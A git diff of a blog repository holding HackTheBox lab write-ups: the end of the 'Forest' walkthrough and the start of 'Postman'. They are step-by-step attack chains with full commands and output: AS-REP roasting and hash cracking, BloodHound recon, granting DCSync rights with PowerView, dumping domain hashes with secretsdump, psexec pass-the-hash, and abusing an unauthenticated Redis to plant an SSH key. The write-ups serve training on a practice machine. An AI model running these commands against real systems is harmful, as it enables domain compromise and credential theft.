user:[HealthMailboxfc9daad] rid:[0x46f] + user:[HealthMailboxc0a90c9] rid:[0x470] + user:[HealthMailbox670628e] rid:[0x471] + user:[HealthMailbox968e74d] rid:[0x472] + user:[HealthMailbox6ded678] rid:[0x473] + user:[HealthMailbox83d6781] rid:[0x474] + user:[HealthMailboxfd87238] rid:[0x475] + user:[HealthMailboxb01ac64] rid:[0x476] + user:[HealthMailbox7108a4e] rid:[0x477] + user:[HealthMailbox0659cc1] rid:[0x478] + user:[sebastien] rid:[0x479] + user:[lucinda] rid:[0x47a] + user:[svc-alfresco] rid:[0x47b] + user:[andy] rid:[0x47e] + user:[mark] rid:[0x47f] + user:[santi] rid:[0x480] + [...] + + + +Now we got a list of users through the RPC client because the NULL sessions are allowed. The svc-alfresco is most likely a service account, so let's bruteforce his hash using GetNPUsers.py: + + + [ 10.0.0.10/16 ] [ /dev/pts/14 ] [~/HTB/Forest] + → locate GetNPUsers.py + /usr/share/doc/python3-impacket/examples/GetNPUsers.py + + [ 10.0.0.10/16 ] [ /dev/pts/14 ] [~/HTB/Forest] + → cp $(locate GetNPUsers.py) . + + [ 10.0.0.10/16 ] [ /dev/pts/14 ] [~/HTB/Forest] + → python3 GetNPUsers.py htb.local/svc-alfresco -no-pass -dc-ip 10.10.10.161 + Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation + + [*] Getting TGT for svc-alfresco + $krb5asrep$23$svc-alfresco@HTB.LOCAL:89d4b785e7c6fc54c5c43fcaa3cb5065$72428ed743715742a137061f08baed2741d3b13fa9e7d5139ad362374207de52ceea2d1c4c6c851ec3f5418e9770fbd7ee9e4a98be09e5fdbdd3c2adc308df47be4e45ed86d7dac2af93fffeba10958f5f9993074ced0856a5b7bda28b5429eef42f401335dbed30bb66cebaaf95805b04967da19640d5887b84cd7208878b802c2914bdba0705d944b5065fb05207a00ff3b1239fdc47686b7c4feee1ab5cf3b11c85d4426b099ff17af0b7b75e0cde27686a2dd0c406a9022ebc59da30b9e4413aecb46f8cdd835d5950a588b56ba671964d2f3aac364c403fc97bd8f38ff7c8ab49053cef + + + +And we got svc-alfresco's TGT which is a hash that contains the encrypted password. This is because the 'Do not require Kerberos preauthentication' is set, and svc-alfresco is not configured with pre-authentication. Next step is to bruteforce the hash itself: + + + [ 10.0.0.10/16 ] [ /dev/pts/14 ] [~/HTB/Forest] + → vim hash.txt + + [ 10.0.0.10/16 ] [ /dev/pts/14 ] [~/HTB/Forest] + → cat hash.txt + $krb5asrep$23$svc-alfresco@HTB.LOCAL:89d4b785e7c6fc54c5c43fcaa3cb5065$72428ed743715742a137061f08baed2741d3b13fa9e7d5139ad362374207de52ceea2d1c4c6c851ec3f5418e9770fbd7ee9e4a98be09e5fdbdd3c2adc308df47be4e45ed86d7dac2af93fffeba10958f5f9993074ced0856a5b7bda28b5429eef42f401335dbed30bb66cebaaf95805b04967da19640d5887b84cd7208878b802c2914bdba0705d944b5065fb05207a00ff3b1239fdc47686b7c4feee1ab5cf3b11c85d4426b099ff17af0b7b75e0cde27686a2dd0c406a9022ebc59da30b9e4413aecb46f8cdd835d5950a588b56ba671964d2f3aac364c403fc97bd8f38ff7c8ab49053cef + + [ 10.0.0.10/16 ] [ /dev/pts/14 ] [~/HTB/Forest] + → john -w=/usr/share/wordlists/rockyou.txt hash.txt + [...] + Press 'q' or Ctrl-C to abort, almost any other key for status + s3rvice ($krb5asrep$23$svc-alfresco@HTB.LOCAL) + [...] + + + +And now that we have alfresco's password, let's use evil-winrm to login: + + + [ 10.0.0.10/16 ] [ /dev/pts/6 ] [~/HTB/Forest] + → sudo gem install evil-winrm + Fetching nori-2.6.0.gem + Fetching rubyntlm-0.6.3.gem + Fetching multi_json-1.15.0.gem + Fetching little-plugger-1.1.4.gem + Fetching gyoku-1.3.1.gem + Fetching logging-2.3.0.gem + Fetching httpclient-2.8.3.gem + Fetching builder-3.2.4.gem + Fetching gssapi-1.3.1.gem + Fetching evil-winrm-2.4.gem + Fetching winrm-2.3.6.gem + Fetching winrm-fs-1.3.5.gem + Fetching erubi-1.10.0.gem + Successfully installed rubyntlm-0.6.3 + Successfully installed nori-2.6.0 + Successfully installed multi_json-1.15.0 + Successfully installed little-plugger-1.1.4 + Successfully installed logging-2.3.0 + Successfully installed httpclient-2.8.3 + Successfully installed builder-3.2.4 + Successfully installed gyoku-1.3.1 + Successfully installed gssapi-1.3.1 + Successfully installed erubi-1.10.0 + Successfully installed winrm-2.3.6 + Successfully installed winrm-fs-1.3.5 + Happy hacking! :) + Successfully installed evil-winrm-2.4 + [...] + + + + [ 10.0.0.10/16 ] [ /dev/pts/6 ] [~/HTB/Forest] + → evil-winrm -u svc-alfresco -p s3rvice -i 10.10.10.161 + + Evil-WinRM shell v2.4 + + Info: Establishing connection to remote endpoint + + *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> sysinfo + The term 'sysinfo' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. + At line:1 char:1 + + sysinfo + + ~~~~~~~ + + CategoryInfo : ObjectNotFound: (sysinfo:String) [], CommandNotFoundException + + FullyQualifiedErrorId : CommandNotFoundException + *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> systeminfo + Program 'systeminfo.exe' failed to run: Access is deniedAt line:1 char:1 + + systeminfo + + ~~~~~~~~~~. + At line:1 char:1 + + systeminfo + + ~~~~~~~~~~ + + CategoryInfo : ResourceUnavailable: (:) [], ApplicationFailedException + + FullyQualifiedErrorId : NativeCommandFailed + *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> ls + *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> cd .. + *Evil-WinRM* PS C:\Users\svc-alfresco> cd Desktop + *Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> type user.txt + e5XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it! We managed to get to the user flag. + +## **Part 3 : Getting Root Access** + +Now let's check the users on this machine: + + + *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net users + + User accounts for \\ + + ------------------------------------------------------------------------------- + $331000-VK4ADACQNUCA Administrator andy + DefaultAccount Guest HealthMailbox0659cc1 + HealthMailbox670628e HealthMailbox6ded678 HealthMailbox7108a4e + HealthMailbox83d6781 HealthMailbox968e74d HealthMailboxb01ac64 + HealthMailboxc0a90c9 HealthMailboxc3d7722 HealthMailboxfc9daad + HealthMailboxfd87238 krbtgt lucinda + mark santi sebastien + SM_1b41c9286325456bb SM_1ffab36a2f5f479cb SM_2c8eef0a09b545acb + SM_681f53d4942840e18 SM_75a538d3025e4db9a SM_7c96b981967141ebb + SM_9b69f1b9d2cc45549 SM_c75ee099d0a64c91b SM_ca8c2ed5bdab4dc9b + svc-alfresco + The command completed with one or more errors. + + +Now here we need to do some AD recon, and we're going to use BloodHound + + + [ 10.10.14.13/23 ] [ /dev/pts/14 ] [~/HTB/Forest] + → sudo apt install bloodhound -y + + [ 10.10.14.13/23 ] [ /dev/pts/14 ] [~/HTB/Forest] + → bloodhound + + +` ![](prg/38_001.png) + +Here we see that we need to connect to the neo4j database, so let's start it up with sudo privileges: + + + [ 10.10.14.13/23 ] [ /dev/pts/28 ] [~/HTB/Forest] + → sudo neo4j console + [sudo] password for nothing: + Directories in use: + home: /usr/share/neo4j + config: /usr/share/neo4j/conf + logs: /usr/share/neo4j/logs + plugins: /usr/share/neo4j/plugins + import: /usr/share/neo4j/import + data: /usr/share/neo4j/data + certificates: /usr/share/neo4j/certificates + run: /usr/share/neo4j/run + Starting Neo4j. + WARNING: Max 1024 open files allowed, minimum of 40000 recommended. See the Neo4j manual. + 2021-05-24 16:45:38.529+0000 INFO Starting... + 2021-05-24 16:45:40.163+0000 INFO ======== Neo4j 4.2.1 ======== + 2021-05-24 16:45:41.980+0000 INFO Initializing system graph model for component 'security-users' with version -1 and status UNINITIALIZED + 2021-05-24 16:45:41.985+0000 INFO Setting up initial user from defaults: neo4j + 2021-05-24 16:45:41.986+0000 INFO Creating new user 'neo4j' (passwordChangeRequired=true, suspended=false) + 2021-05-24 16:45:42.003+0000 INFO Setting version for 'security-users' to 2 + 2021-05-24 16:45:42.009+0000 INFO After initialization of system graph model component 'security-users' have version 2 and status CURRENT + 2021-05-24 16:45:42.015+0000 INFO Performing postInitialization step for component 'security-users' with version 2 and status CURRENT + 2021-05-24 16:45:42.697+0000 INFO Bolt enabled on localhost:7687. + 2021-05-24 16:45:43.379+0000 INFO Remote interface available at http://localhost:7474/ + 2021-05-24 16:45:43.380+0000 INFO Started. + + + +Now let's log into it with the default credentials **neo4j:neo4j** : + +![](prg/38_002.png) + +More precisely, we're going to use the Bloodhound Ingestor to collect the Active Directory Data: + +![](prg/38_003.png) ![](prg/38_004.png) + +Once you've set the new password, simply login: + +![](prg/38_005.png) + +Once you've logged in to bloodhound, we're going to use SharpHound.ps1 in order to find the AD Administrators, to do so we're going to make use of our Evil-WinRM session: + + + [ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Forest] + → sudo updatedb + [sudo] password for nothing: + + [ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Forest] + → locate SharpHound.ps1 + /usr/lib/bloodhound/resources/app/Collectors/SharpHound.ps1 + /usr/share/metasploit-framework/data/post/powershell/SharpHound.ps1 + + [ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Forest] + → cp /usr/lib/bloodhound/resources/app/Collectors/SharpHound.ps1 . + + [ 10.0.0.10/16 ] [ /dev/pts/6 ] [~/HTB/Forest] + → ls -lash SharpHound.ps1 + 952K -rw-r--r-- 1 nothing nothing 952K May 24 18:57 SharpHound.ps1 + + [ 10.0.0.10/16 ] [ /dev/pts/6 ] [~/HTB/Forest] + → evil-winrm -u svc-alfresco -p s3rvice -i 10.10.10.161 + + Evil-WinRM shell v2.4 + + Info: Establishing connection to remote endpoint + + *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> + + +Now here we need to upload SharpHound.ps1: + + + [ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Forest] + → sudo python3 -m http.server 80 + Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... + + + + + *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> iwr -uri "http://10.10.14.13/SharpHound.ps1" -outfile "sharp.ps1" + *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> ls + + + Directory: C:\Users\svc-alfresco\Documents + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + -a---- 5/24/2021 10:24 AM 974235 sharp.ps1 + + *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> . ./sharp.ps1 + *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> invoke-bloodhound -CollectionMethod All + *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> ls + + + Directory: C:\Users\svc-alfresco\Documents + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + -a---- 5/24/2021 10:41 AM 15196 20210524104146_BloodHound.zip + -a---- 5/24/2021 10:41 AM 23611 MzZhZTZmYjktOTM4NS00NDQ3LTk3OGItMmEyYTVjZjNiYTYw.bin + -a---- 5/24/2021 10:24 AM 974235 sharp.ps1 + + + +Once we run sharp.ps1 we get a zip file, so let's copy it back to our kali machine, to do so we can use evil-winrm's built-in download function: + + + *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> download 20210524104146_BloodHound.zip + Info: Downloading C:\Users\svc-alfresco\Documents\20210524104146_BloodHound.zip to 20210524104146_BloodHound.zip + + + Info: Download successful! + + *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> exit + + Info: Exiting with code 0 + + + [ 10.0.0.10/16 ] [ /dev/pts/6 ] [~/HTB/Forest] + → ls -lashg 20210524104146_BloodHound.zip + 16K -rw-r--r-- 1 nothing 15K May 24 19:39 20210524104146_BloodHound.zip + + [ 10.0.0.10/16 ] [ /dev/pts/6 ] [~/HTB/Forest] + → ls -lash 20210524104146_BloodHound.zip + 16K -rw-r--r-- 1 nothing nothing 15K May 24 19:39 20210524104146_BloodHound.zip + + + +Now that we got the zip file locally, let's load it in bloodhound: + +![](prg/38_007.png) ![](prg/38_009.png) + +So here we finally see what's going on, and we can find the shortest path to domain admin: + +![](prg/38_010.png) + +svc-alfresco has **GenericAll** rights on the **Exchange Windows Permissions** group, so we can add this user to the group, next the WriteDacl rights allows us to give DCsync rights to our compromised user, and retrieve the NTLM hashes for all users on the domain. To exploit the ACL path automatically we can use [aclpwn](https://github.com/fox-it/aclpwn.py): + + + [ 10.10.14.13/23 ] [ /dev/pts/14 ] [~/HTB/Forest] + → pip install aclpwn + Collecting aclpwn + Downloading aclpwn-1.0.0-py3-none-any.whl (17 kB) + Requirement already satisfied: requests in /usr/lib/python3/dist-packages (from aclpwn) (2.25.1) + Requirement already satisfied: ldap3>=2.5 in /usr/lib/python3/dist-packages (from aclpwn) (2.8.1) + Requirement already satisfied: impacket in /usr/lib/python3/dist-packages (from aclpwn) (0.9.22) + Collecting neo4j-driver + Downloading neo4j-driver-4.2.1.tar.gz (69 kB) + |████████████████████████████████| 69 kB 1.6 MB/s + Requirement already satisfied: pytz in /usr/lib/python3/dist-packages (from neo4j-driver->aclpwn) (2021.1) + Building wheels for collected packages: neo4j-driver + Building wheel for neo4j-driver (setup.py) ... done + Created wheel for neo4j-driver: filename=neo4j_driver-4.2.1-py3-none-any.whl size=95273 sha256=2b8a5fca03df766fe46cfdcd83ef272170de7f3d1000c49c114ae78bd4efeea1 + Stored in directory: /home/nothing/.cache/pip/wheels/fe/a2/12/36d9ab6287417260db156b6021d409f296d274a11f23373cfe + Successfully built neo4j-driver + Installing collected packages: neo4j-driver, aclpwn + WARNING: The script aclpwn is installed in '/home/nothing/.local/bin' which is not on PATH. + Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location. + Successfully installed aclpwn-1.0.0 neo4j-driver-4.2.1 + + [ 10.10.14.13/23 ] [ /dev/pts/14 ] [~/HTB/Forest] + → PATH=$PATH:/home/nothing/.local/bin + + [ 10.10.14.13/23 ] [ /dev/pts/14 ] [~/HTB/Forest] + → aclpwn -f svc-alfresco -ft user -t htb.local -tt domain -d htb.local -dp bloodhound -du neo4j --server 10.10.10.161 -u svc-alfresco -sp s3rvice -p s3rvice + + +So you can use that, or you can also just do it manually as follows: + + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Forest] + → evil-winrm -u svc-alfresco -p s3rvice -i 10.10.10.161 + + Evil-WinRM shell v2.4 + + Info: Establishing connection to remote endpoint + + *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions" svc-alfresco /add /domain + The command completed successfully. + + *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user svc-alfresco + User name svc-alfresco + Full Name svc-alfresco + Comment + User's comment + Country/region code 000 (System Default) + Account active Yes + Account expires Never + + Password last set 5/24/2021 11:15:40 AM + Password expires Never + Password changeable 5/25/2021 11:15:40 AM + Password required Yes + User may change password Yes + + Workstations allowed All + Logon script + User profile + Home directory + Last logon 5/24/2021 9:27:15 AM + + Logon hours allowed All + + Local Group Memberships + Global Group memberships *Exchange Windows Perm*Domain Users + *Service Accounts + The command completed successfully. + + +So here we added alfresco to the **Exchange Windows Permissions @HTB.LOCAL** , next step is to grant alfresco **DcSync privileges** using [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1) + + + *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $pass = convertto-securestring 's3rvice' -AsPlainText -Force + *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $cred = New-Object System.Management.Automation.PSCredential('htb\svc-alfresco', $pass) + + +Obviously we need PowerView.ps1 so let's first copy it to our local directory where we started the Evil-WinRM session: + + + [ 10.10.14.13/23 ] [ /dev/pts/30 ] [~/HTB/Forest] + → locate PowerView.ps1 + /usr/lib/python3/dist-packages/cme/data/powersploit/Recon/PowerView.ps1 + /usr/share/windows-resources/powersploit/Recon/PowerView.ps1 + + + +Be careful, these are outdated PowerView.ps1 files, you need to get the most recent one: + + + [ 10.10.14.13/23 ] [ /dev/pts/30 ] [~/HTB/Forest] + → wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -O PowerView.ps1 + --2021-05-24 20:16:08-- https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.108.133, 185.199.110.133, ... + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 770279 (752K) [text/plain] + Saving to: ‘PowerView.ps1’ + + PowerView.ps1 100%[===================================================================================================================================================>] 752.23K 3.25MB/s in 0.2s + + 2021-05-24 20:16:08 (3.25 MB/s) - ‘PowerView.ps1’ saved [770279/770279] + + + +Now we upload PowerView to the machine: + + + *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> upload PowerView.ps1 + Info: Uploading PowerView.ps1 to C:\Users\svc-alfresco\Documents\PowerView.ps1 + + + Data: 1027036 bytes of 1027036 bytes copied + + Info: Upload successful! + + *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> ls + + + Directory: C:\Users\svc-alfresco\Documents + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + -a---- 5/24/2021 10:41 AM 15196 20210524104146_BloodHound.zip + -a---- 5/24/2021 10:41 AM 23611 MzZhZTZmYjktOTM4NS00NDQ3LTk3OGItMmEyYTVjZjNiYTYw.bin + -a---- 5/24/2021 11:31 AM 770279 PowerView.ps1 + -a---- 5/24/2021 10:24 AM 974235 sharp.ps1 + + + *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> remove-module PowerView + *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> import-module .\PowerView.ps1 + + *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $pass = convertto-securestring 's3rvice' -AsPlainText -Force + *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $cred = New-Object System.Management.Automation.PSCredential('htb\svc-alfresco', $pass) + *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity "svc-alfresco" -Rights DCSync + + + +And from there we can use secretsdump.py to get the hashes of all users using DcSync: + + + secretsdump.py svc-alfresco:s3rvice@10.10.10.161 + Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation + + [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied + [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) + [*] Using the DRSUAPI method to get NTDS.DIT secrets + htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6::: + Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: + krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8::: + DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: + + [...] + + [*] Cleaning up... + + +And finally we simply use the Admin hash with psexec.py, if you don't have it yet, install it as follows: + + + [ 10.10.14.13/23 ] [ /dev/pts/30 ] [~/HTB/Forest] + → git clone https://github.com/SecureAuthCorp/impacket.git + Cloning into 'impacket'... + remote: Enumerating objects: 19239, done. + remote: Counting objects: 100% (339/339), done. + remote: Compressing objects: 100% (205/205), done. + remote: Total 19239 (delta 193), reused 232 (delta 133), pack-reused 18900 + Receiving objects: 100% (19239/19239), 6.61 MiB | 4.26 MiB/s, done. + Resolving deltas: 100% (14585/14585), done. + + [ 10.10.14.13/23 ] [ /dev/pts/30 ] [~/HTB/Forest] + → cd impacket + + [ 10.10.14.13/23 ] [ /dev/pts/30 ] [HTB/Forest/impacket] + → sudo pip3 install . + [sudo] password for nothing: + Processing /home/nothing/HTB/Forest/impacket + Requirement already satisfied: chardet in /usr/lib/python3/dist-packages (from impacket==0.9.23.dev1+20210519.170900.2f5c2476) (4.0.0) + Requirement already satisfied: flask>=1.0 in /usr/lib/python3/dist-packages (from impacket==0.9.23.dev1+20210519.170900.2f5c2476) (1.1.2) + Requirement already satisfied: future in /usr/lib/python3/dist-packages (from impacket==0.9.23.dev1+20210519.170900.2f5c2476) (0.18.2) + Requirement already satisfied: ldap3!=2.5.0,!=2.5.2,!=2.6,>=2.5 in /usr/lib/python3/dist-packages (from impacket==0.9.23.dev1+20210519.170900.2f5c2476) (2.8.1) + Requirement already satisfied: ldapdomaindump>=0.9.0 in /usr/lib/python3/dist-packages (from impacket==0.9.23.dev1+20210519.170900.2f5c2476) (0.9.3) + Requirement already satisfied: pyOpenSSL>=0.16.2 in /usr/lib/python3/dist-packages (from impacket==0.9.23.dev1+20210519.170900.2f5c2476) (20.0.1) + Requirement already satisfied: pyasn1>=0.2.3 in /usr/lib/python3/dist-packages (from impacket==0.9.23.dev1+20210519.170900.2f5c2476) (0.4.8) + Requirement already satisfied: pycryptodomex in /usr/lib/python3/dist-packages (from impacket==0.9.23.dev1+20210519.170900.2f5c2476) (3.9.7) + Requirement already satisfied: six in /usr/lib/python3/dist-packages (from impacket==0.9.23.dev1+20210519.170900.2f5c2476) (1.16.0) + Building wheels for collected packages: impacket + Building wheel for impacket (setup.py) ... done + Created wheel for impacket: filename=impacket-0.9.23.dev1+20210519.170900.2f5c2476-py3-none-any.whl size=1397782 sha256=39758aa69b8434256a2f79b26209d55225fecd0090950c922499e17de963a10f + Stored in directory: /tmp/pip-ephem-wheel-cache-ln48imhy/wheels/7a/85/ca/606ceaff4c6e06dc108bb711bd0c0de17bc79b379a138a14c9 + Successfully built impacket + Installing collected packages: impacket + Attempting uninstall: impacket + Found existing installation: impacket 0.9.22 + Not uninstalling impacket at /usr/lib/python3/dist-packages, outside environment /usr + Can't uninstall 'impacket'. No files were found to uninstall. + Successfully installed impacket-0.9.23.dev1+20210519.170900.2f5c2476 + + [ 10.10.14.13/23 ] [ /dev/pts/30 ] [HTB/Forest/impacket] + → sudo python3 setup.py install + + + +Then use it with the admin hash: + + + [ 10.10.14.13/23 ] [ /dev/pts/30 ] [HTB/Forest/impacket] + → impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 htb.local/Administrator@10.10.10.161 + Impacket v0.9.23.dev1+20210519.170900.2f5c2476 - Copyright 2020 SecureAuth Corporation + + [*] Requesting shares on 10.10.10.161..... + [*] Found writable share ADMIN$ + [*] Uploading file kvZZufbZ.exe + [*] Opening SVCManager on 10.10.10.161..... + [*] Creating service HFYI on 10.10.10.161..... + [*] Starting service HFYI..... + [!] Press help for extra shell commands + Microsoft Windows [Version 10.0.14393] + (c) 2016 Microsoft Corporation. All rights reserved. + + C:\Windows\system32>systeminfo + + Host Name: FOREST + OS Name: Microsoft Windows Server 2016 Standard + OS Version: 10.0.14393 N/A Build 14393 + OS Manufacturer: Microsoft Corporation + OS Configuration: Primary Domain Controller + OS Build Type: Multiprocessor Free + Registered Owner: Windows User + Registered Organization: + Product ID: 00376-30821-30176-AA930 + Original Install Date: 9/18/2019, 10:07:59 AM + System Boot Time: 5/24/2021, 9:09:23 AM + System Manufacturer: VMware, Inc. + System Model: VMware7,1 + System Type: x64-based PC + Processor(s): 1 Processor(s) Installed. + [01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz + BIOS Version: VMware, Inc. VMW71.00V.13989454.B64.1906190538, 6/19/2019 + Windows Directory: C:\Windows + System Directory: C:\Windows\system32 + Boot Device: \Device\HarddiskVolume2 + System Locale: en-us;English (United States) + Input Locale: en-us;English (United States) + Time Zone: (UTC-08:00) Pacific Time (US & Canada) + Total Physical Memory: 2,047 MB + Available Physical Memory: 635 MB + Virtual Memory: Max Size: 2,431 MB + Virtual Memory: Available: 990 MB + Virtual Memory: In Use: 1,441 MB + Page File Location(s): C:\pagefile.sys + Domain: htb.local + Logon Server: N/A + Hotfix(s): 3 Hotfix(s) Installed. + [01]: KB3199986 + [02]: KB4512574 + [03]: KB4103720 + Network Card(s): 1 NIC(s) Installed. + [01]: Intel(R) 82574L Gigabit Network Connection + Connection Name: Ethernet0 + DHCP Enabled: No + IP address(es) + [01]: 10.10.10.161 + Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed. + + C:\Windows\system32>cd .. + + C:\Windows>cd .. + + C:\>cd Users\Administrator\Desktop + + C:\Users\Administrator\Desktop>type root.txt + f0XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it! We managed to get the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/38_graph.png) + diff --git a/Easy/39.md b/Easy/39.md new file mode 100644 index 0000000..83451d5 --- /dev/null +++ b/Easy/39.md @@ -0,0 +1,584 @@ +# Postman Writeup + +![](img/39.png) + +## Introduction : + +Postman is an easy linux box released back in november 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [blog/HTB/Easy] + → nmap -p- -T4 10.10.10.160 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-24 21:25 CEST + Nmap scan report for 10.10.10.160 + Host is up (0.041s latency). + Not shown: 65531 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + 6379/tcp open redis + 10000/tcp open snet-sensor-mgmt + + Nmap done: 1 IP address (1 host up) scanned in 26.48 seconds + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [blog/HTB/Easy] + → nmap -sCV -p 22,80,6379,10000 10.10.10.160 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-24 21:26 CEST + Nmap scan report for 10.10.10.160 + Host is up (0.034s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA) + | 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA) + |_ 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519) + 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) + |_http-server-header: Apache/2.4.29 (Ubuntu) + |_http-title: The Cyber Geek's Personal Website + 6379/tcp open redis Redis key-value store 4.0.9 + 10000/tcp open http MiniServ 1.910 (Webmin httpd) + |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1). + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 36.79 seconds + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up a Redis 4.0.x instance running on port 6379 + + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [blog/HTB/Easy] + → searchsploit redis 4 + ------------------------------------------------------------------------------------------ --------------------------------- + Exploit Title | Path + ------------------------------------------------------------------------------------------ --------------------------------- + Microsoft Windows 10 - Diagnostics Hub Standard Collector Service Privilege Escalation | windows/local/45244.txt + Redis - Replication Code Execution (Metasploit) | linux/remote/48272.rb + Redis 4.x / 5.x - Unauthenticated Code Execution (Metasploit) | linux/remote/47195.rb + Redis 5.0 - Denial of Service | linux/dos/44908.txt + Redis-cli <****5.0 - Buffer Overflow (PoC) | linux/local/44904.py + ------------------------------------------------------------------------------------------ --------------------------------- + Shellcodes: No Results + +As you can see, there are a few exploits available for redis 4.0.x and one of them is an unauthenticated command execxution and filewrites. So let's test that with redis-cli: + + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [blog/HTB/Easy] + → sudo apt install redis -y + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [blog/HTB/Easy] + → redis-cli -h 10.10.10.160 + 10.10.10.160:6379> CONFIG GET * + 1) "dbfilename" + 2) "dump.rdb" + 3) "requirepass" + 4) "" + 5) "masterauth" + 6) "" + 7) "cluster-announce-ip" + 8) "" + 9) "unixsocket" + 10) "" + 11) "logfile" + 12) "/var/log/redis/redis-server.log" + 13) "pidfile" + 14) "/var/run/redis/redis-server.pid" + [...] + + +Here we see that the default folder for redis seems to be /var/lib/redis, so we're going to check if the redis user has SSH authentication configured by checking for a .ssh folder: + + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman] + → redis-cli -h 10.10.10.160 + + 10.10.10.160:6379> CONFIG GET dir + 1) "dir" + 2) "/var/lib/redis" + + 10.10.10.160:6379> CONFIG SET dir /var/lib/redis/idontexist/ + (error) ERR Changing directory: No such file or directory + + 10.10.10.160:6379> CONFIG SET dir /var/lib/redis/.ssh/ + OK + + + +So here we see that a .ssh folder does exist in redis' home directory, let's write our public SSH key to it: + + + [ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Postman] + → ssh-keygen -t ed25519 + Generating public/private ed25519 key pair. + Enter file in which to save the key (/home/nothing/.ssh/id_ed25519): + Enter passphrase (empty for no passphrase): + Enter same passphrase again: + Your identification has been saved in /home/nothing/.ssh/id_ed25519 + Your public key has been saved in /home/nothing/.ssh/id_ed25519.pub + The key fingerprint is: + SHA256:WUW671jwTAkg4RGKPvDZ4twbg6pWVynYTDS/HaTqbE0 nothing@nowhere + The key's randomart image is: + +--[ED25519 256]--+ + | .o=o.. .o | + | . +ooo. o | + |. . * .o..+ | + | + + +.ooo.o . | + | * ..oES.o o | + | o *o.o * | + 